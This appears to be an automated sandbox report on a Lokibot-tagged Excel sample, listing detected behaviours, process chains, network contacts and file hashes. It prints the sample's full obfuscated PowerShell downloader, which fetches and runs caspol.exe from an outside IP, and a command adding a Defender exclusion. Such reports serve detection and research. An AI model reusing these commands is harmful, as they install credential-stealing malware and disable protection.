Malware Analysis Report

2025-04-03 09:51

Sample ID 241119-e6shys1dkk
Target 555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls
SHA256 555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7

Threat Level: Known bad

The file 555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Process spawned unexpected child process

Lokibot

Lokibot family

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Downloads MZ/PE file

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

Drops file in System32 directory

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of AdjustPrivilegeToken

outlook_win_path

Uses Volume Shadow Copy WMI provider

Uses Volume Shadow Copy service COM API

Suspicious use of SetWindowsHookEx

outlook_office_path

Enumerates system info in registry

Uses Task Scheduler COM API

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-19 04:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-19 04:33

Reported

2024-11-19 04:36

Platform

win7-20240903-en

Max time kernel

136s

Max time network

146s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2972 set thread context of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2880 wrote to memory of 2600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2880 wrote to memory of 2600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2880 wrote to memory of 2600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2880 wrote to memory of 2600 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
PID 2600 wrote to memory of 1236 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2600 wrote to memory of 1236 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2600 wrote to memory of 1236 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2600 wrote to memory of 1236 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2600 wrote to memory of 1736 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2600 wrote to memory of 1736 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2600 wrote to memory of 1736 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2600 wrote to memory of 1736 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 1736 wrote to memory of 868 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1736 wrote to memory of 868 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1736 wrote to memory of 868 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 1736 wrote to memory of 868 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2600 wrote to memory of 2972 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2600 wrote to memory of 2972 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2600 wrote to memory of 2972 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2600 wrote to memory of 2972 N/A C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 944 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2972 wrote to memory of 1532 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe -Embedding

C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE

"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eph8dhdh.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCEE4.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCCEE3.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.135.105:80 e6.o.lencr.org tcp
US 66.63.187.231:80 66.63.187.231 tcp
DE 5.45.108.48:443 link.uebie.de tcp
US 66.63.187.231:80 66.63.187.231 tcp
US 66.63.187.231:80 66.63.187.231 tcp
US 8.8.8.8:53 crl.microsoft.com udp
GB 2.18.190.80:80 crl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
GB 95.100.245.144:80 www.microsoft.com tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

memory/2568-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2568-1-0x0000000072B0D000-0x0000000072B18000-memory.dmp

memory/2880-16-0x0000000002980000-0x0000000002982000-memory.dmp

memory/2568-17-0x0000000002F50000-0x0000000002F52000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B

MD5 e8babfed1ad00eee29f323c07e3d4256
SHA1 18fe9eb9d9e344499a179f750bcbff20621272ad
SHA256 4e6072a1c969b8ce9584d0e5221ad76b93a15632d6bc718f147633c864431c2c
SHA512 d60513392b33ad69fd772ad979230e1d99ce42f1b7ad320f7b725ddb20be51c476630174de7966a96a8c3588513840bbeb67c545478920509aee04364a3b11da

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B

MD5 21df645ec13368af70d0fdc697fd5359
SHA1 5b82ae15964e432a108cdcaff6577f97a3fa282c
SHA256 ab8079f4c308128ed7c6149a31e451702426eb988972368078d420cb490b0ec2
SHA512 29c1ad99095fb83110e4aa0d34bc6229aba1d15f30aaf5971228d9a03a032dc83d5232e13923b776a67f0419e7eeb5e684cff95b10c9aa2443653779909cc1d0

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

MD5 822467b728b7a66b081c91795373789a
SHA1 d8f2f02e1eef62485a9feffd59ce837511749865
SHA256 af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9
SHA512 bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

MD5 1f15940b9f087d2aabb515853a5ab8b4
SHA1 05fb28b482541e3d0f6324754821a49aed845575
SHA256 6c2c1bb9dd1aeb84367e82571e26c9d3fa3a73d040235e3580a6e007428af8d0
SHA512 53afe5902aa15cb72270d239ee2f2d1af4358950cebc37071b72e9aa4f1379e3f862b9b9317b0d8302c82b2c08d560778217fc2f31e9815e970980006c2d533f

C:\Users\Admin\AppData\Local\Temp\CabC35F.tmp

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta

MD5 db21eb9cf86a8314900d693c5a40c4e9
SHA1 1dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c
SHA256 da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102
SHA512 b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 a51f266de3e57eb19a604c9ae6fe35b7
SHA1 2afbb9b2f7ff5619ac203fc294694439ccae398a
SHA256 f86a27c6ade616a42c16e43d561dae20d034d7cbab89ee6ec711aa6bd9c985ee
SHA512 5703261bcb9cfdc045b296574d33b6864b418784384edff7eb55fcbe25c15d31486c65d0d1bd77c6b275508f0b5c331e78d10bc7f587c7f96e3c180d9de02a27

\??\c:\Users\Admin\AppData\Local\Temp\eph8dhdh.cmdline

MD5 929190f1b1390e480fcf57dfb7d42a1d
SHA1 ed5c065e5a6edb03956ce849e0f09226e9f564d2
SHA256 d38f5e504a9dd20f527502a879de84e66ed57976651c4b7b6478db14730cf0a5
SHA512 b74ba05acbf7f1fb5065729a2e57a096231fa2814e3b62dd6f3e268148025f3d4af7220511cb7dd5d56a19a6c5addd0cc9dc728abbd6788095b1c9f56f0bef90

\??\c:\Users\Admin\AppData\Local\Temp\eph8dhdh.0.cs

MD5 f97fc8141f59078b4354b513d3b083ac
SHA1 293904ab8d5f38a2f0764ee2e35e97e590d8c737
SHA256 f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e
SHA512 87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c

\??\c:\Users\Admin\AppData\Local\Temp\CSCCEE3.tmp

MD5 411f8e80d86c2aa5d898f42fce34104e
SHA1 e442bf319b0df262466640b612962f5e59b4c6ec
SHA256 9a5234755b54234b8ae04c1bd745d7f5a0b8faf0978b8f0fb0aa4d0778886c75
SHA512 bd18fc0281050f6491a88a7b97a598feb4bbe64d45c015ad271592f91798a710c86c743c508cf6b5d74b3ebb1bfec730cb877d6332bb1bba1d2db84745a163ed

C:\Users\Admin\AppData\Local\Temp\RESCEE4.tmp

MD5 2a966a426129242f00144c301a9b0b09
SHA1 4c2060046640d26ca73ea8eef0cd998932c49079
SHA256 454b8b60373a8024411465fc9bf68901572b7ab876570cf3a3d6329fbedbedba
SHA512 7bff20ffaba4d9b7ab53c8920aa62342a45ad9638b6344b927e915e80a4a450c00f85e9e880f7f90d565225b6dd72f93a46192e0197adbbd6593cb37f568bfff

C:\Users\Admin\AppData\Local\Temp\eph8dhdh.dll

MD5 72f7bc5fd119ea7d3a385509f2753480
SHA1 4302dde08b71b221520f393f5f44803d20575464
SHA256 43705e03d01d68f0a78b97711a821ee7d24db700f459d391d0df06354d7db6dd
SHA512 8d2ba35871300bab3a47f141cf97cb5d5e3404856047665b364756bc71aa2e4cf9b53893127cacc1e431e414a6d2576336a5f9a857b1f3845adb4a5ea1156b25

C:\Users\Admin\AppData\Local\Temp\eph8dhdh.pdb

MD5 db81397ad7cee67033572b98a3433845
SHA1 70dc33042f9b9d96ed958b261db74d153ac70fe9
SHA256 104dfd45f0ef89cd56e88d76ba4784368cf973bf8a55cfaaad9e072034b82e40
SHA512 b5f481a5ee44411672617fbaa015fddc183b71e12b90af513de36a0524e87469f7d37936cabcd24fe6cd17c7dc7420f23df6b4858157f56e3dcf4a9d9d3f1eb3

memory/2568-60-0x0000000072B0D000-0x0000000072B18000-memory.dmp

\Users\Admin\AppData\Roaming\caspol.exe

MD5 80358303e33cef71434e6e4a621262c5
SHA1 e7a22b4e5af741f9b4d9982f36164b276bba459a
SHA256 f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7
SHA512 5e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e

memory/2972-70-0x00000000011A0000-0x0000000001234000-memory.dmp

memory/2972-71-0x0000000000510000-0x0000000000522000-memory.dmp

memory/2972-72-0x0000000005920000-0x0000000005984000-memory.dmp

memory/1532-81-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1532-86-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1532-84-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1532-83-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1532-79-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1532-77-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1532-75-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1532-73-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3063565911-2056067323-3330884624-1000\0f5007522459c86e95ffcc62f32308f1_de87a6d6-9d44-4942-9ec6-2be31b435411

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-19 04:33

Reported

2024-11-19 04:36

Platform

win10v2004-20241007-en

Max time kernel

143s

Max time network

146s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2244 wrote to memory of 3288 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 2244 wrote to memory of 3288 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

